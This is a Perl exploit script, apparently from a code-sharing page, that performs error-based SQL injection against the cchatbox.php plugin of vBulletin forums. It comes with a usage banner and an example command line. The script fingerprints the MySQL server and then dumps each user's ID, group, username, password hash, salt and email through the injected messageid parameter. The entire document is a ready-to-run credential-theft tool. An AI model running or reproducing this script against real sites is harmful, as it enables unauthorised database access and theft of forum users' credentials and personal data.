|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65  |  #!/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent->new; $ua->agent("MyApp/0.1 "); print "##################################\n"; print "############ EXPLOIT #############\n"; print "##################################\n"; print "## Portal: cchatbox ##\n"; print "## Bug: SQLI##\n"; print "## Author: DSecurity##\n"; print "## Coder: vv0lll##\n"; print "##################################\n"; print "Use: exploit.pl address number_user sleeptime\n"; print "Example: exploit.pl http://localhost/vbb 10 10\n"; if(@ARGV < 2) {exit;} print "\n\n================================================\n"; #Foot print print v_request('MySQL version: ','@@version'); print v_request('Data dir: ','@@datadir'); print v_request('User: ','user()'); print v_request('Database: ','database()'); #Get user for($i=1;$i<=$ARGV[1];$i++){  print "-----------------------------------------\n";  print $id = v_request('ID: ','userid','user','1',$i-1);  if($id =~ /(ID:)\s(.*)/){  print v_request('Group: ','usergroupid','user','userid='.$2);  print v_request('Username: ','username','user','userid='.$2);  print v_request('Password: ','password','user','userid='.$2);  print v_request('Salt: ','salt','user','userid='.$2);  print v_request('Email: ','email','user','userid='.$2);  }  } print $ARVG[0]; sub v_request{  #Declare  $print = $_[0];  $select = $_[1];  $from = $_[2];  $where = $_[3];  $limit = $_[4];  $sleep = $ARGV[2];  if ($from eq '') {$from = 'information_schema.tables';}  if ($where eq '') {$where = '1';}  if ($limit eq '') {$limit = '0';}  if ($sleep eq '') {$sleep = '10';}  # Create a request  my $req = HTTP::Request->new(POST => $ARGV[0].'/cchatbox.php');  $req->content_type('application/x-www-form-urlencoded');  $req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');  # Pass request to the user agent and get a response back  my $res = $ua->request($req);  #print $res->content;  if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/) {$test = $3};  sleep($sleep);  return $print.$test."\n"; }  |